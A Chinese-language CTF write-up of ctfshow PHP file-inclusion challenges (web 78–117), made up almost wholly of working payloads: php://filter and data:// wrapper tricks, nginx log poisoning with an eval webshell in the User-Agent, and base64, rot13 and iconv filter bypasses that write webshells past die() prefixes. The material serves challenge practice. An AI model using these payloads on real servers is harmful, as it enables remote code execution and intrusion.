ctfshow_文件包含

web 78 php 协议

php://filter/read=convert.base64-encode/resource=flag.php

web 79 data 协议

/?file=data://text/plain,("tac flag*");?>

web 80 日志包含

配合日志文件进行 getshell,日志会记录访问 UA 信息,修改 UA 信息为后门代码,包含即执行后门代码

抓包->查看中间件->是 nginx

抓包->将 UA 改为后门代码->forward

包含:var/log/nginx/access.log

1
/?file=/var/log/nginx/access.log

日志里会记录访问时间,访问者的 UA 信息->将 UA 信息改成后门代码->写入 log 文件(任何文件后缀都能被当作脚本去执行)

1
User-Agent: <?php eval($_POST[c]);?>

web 81 日志包含

响应头 server: nginx

默认日志文件位置: var/log/nginx/access.log

1
2
3
4
POST /?file=/../../../var/log/nginx/access.log HTTP/1.1
User-Agent: <?php eval($_POST[1]);?>

1=system('tac fl0g.php');phpinfo();

web 82 SESSION 包含

过滤了点 用不了 log

可以参考 vweb39 或者利用 PHP_SESSION_UPLOAD_PROGRESS 进行文件包含

由于竞争环境需要晚上 11 点 30 分至次日 7 时 30 分之间做,其他时间不开放竞争条件

这里先不做了..

web 87 过滤器

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];

file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}

$file为写入文件的路径,进行了一次 url 解码,而浏览器也要进行一次 url 解码

所以对输入的 payload 进行 2 次 url 编码就可以绕过过滤

exp1 base64

1
file=php://filter/write=convert.base64-decode/resource=choco.php

其中 content 是待写入的内容, 也就是:

1
<?php die('大佬别秀了');?> $content

伪协议会对 phpdie$content 进行解码 ($content 换成具体的值)

需要注意的是 phpdie 是六个字母, base64 是四位一次解码 所以补两个字母凑数 aaphpdie

因此

1
2
3
4
5
6
7
8
9
10
11
// payload: $content=<?php system('ls')?>
// base64_encode: $content=PD9waHAgc3lzdGVtKCdscycpPz4=
// add: phpdiePD9waHAgc3lzdGVtKCdscycpPz4=
// end: aaPD9waHAgc3lzdGVtKCdscycpPz4=

content = aaPD9waHAgc3lzdGVtKCdscycpPz4=

// php://filter/write=convert.base64-decode/resource=choco.php
// url_encode: %25%37......%30
// 用bp内置的url编码 不然英文字符不会被转义
/?file=%25%37......%30

最终 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 写入<?php system('ls')?> 这里最后加分号会报错.
// 也可以<?php system('ls');;?>或者<?php system('ls');或者<?php system('ls'); ?>没空格就错
POST /?file=%25%37......%30
content= aaPD9waHAgc3lzdGVtKCdscycpPz4=

// 执行ls
POST /choco.php
content= 1 // 不为空就行

// 写入<?php system('tac fl0g.php');?>
POST /?file=%25%37......%30
content= aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==

// 执行tac
POST /choco.php
content= 1 // 不为空就行

exp1 rot13

思路跟 base64 大同小异

1
2
3
4
5
6
php://filter/write=string.rot13/resource=choco.php

// BP url两次加密
/?file=%25%37.......%30

// 命令rot13加密
1
2
3
4
5
6
7
// 写入命令
/?file=%25%37.......%30
content= <?cuc flfgrz('gnp sy0t.cuc');?>

// 执行命令
/choco.php
content= choco

file_put_content 和死亡·杂糅代码之缘

web 88 data&base64 协议

1
2
3
4
5
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("no");
}
include($file);

过滤了~ ! @ # $ % ^ & * ( ) - _ + = .

没有过滤 data

1
/?file=data://text/plain,<?=system('tac flag*');?>

过滤了常见符号, 用 base64 绕过

1
/?file=data://text/plain,base64,<base64_encode>

因为不能出现 = , 可以在命令后加一些杂鱼消除这些符号(+和=) 斜杠不影响
注意 base64 前面是分号 不是逗号

base64_encode: 1

1
2
3
4
5
# base64_encode: <?php system('ls')?>1
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4x

# base64_encode: <?php system('tac fl0g.php')?>12
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/PjEy

web 116

下载视频, hex 发现 png, BP 抓包访问 flag.php

web 117

1
2
3
4
5
6
7
8
9
10
11
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];

filter($file);

file_put_contents($file, "<?php die();?>".$contents);

exp

没有过滤 php 伪协议中的 convert.iconv 过滤器

convert.iconv 过滤器

和使用 iconv()函数处理流数据有等同作用

1
2
3
4
5
6
7
8
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo"经过一次反转:".$result."\n";
echo"经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);
?>

经过一次反转:?<hp pvela$(P_SO[T]a;)>?
经过第二次反转:<?php eval($_POST[a]);?>

构造 payload: 在 choco.php 中写入 eval 函数

1
2
3
4
5
/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=choco.php

// contents=<?php eval($_POST[1]);?> iconv("UCS-2LE","UCS-2BE",);处理一次再用过滤器写入
contents=?<hp pvela$(P_SO[T]1;)>?
// 注意这里contents=后面不要接空格 不然会导致处理错误

触发 payload

1
2
3
POST /choco.php HTTP/1.1

1=system("tac flag.php");

文件包含笔记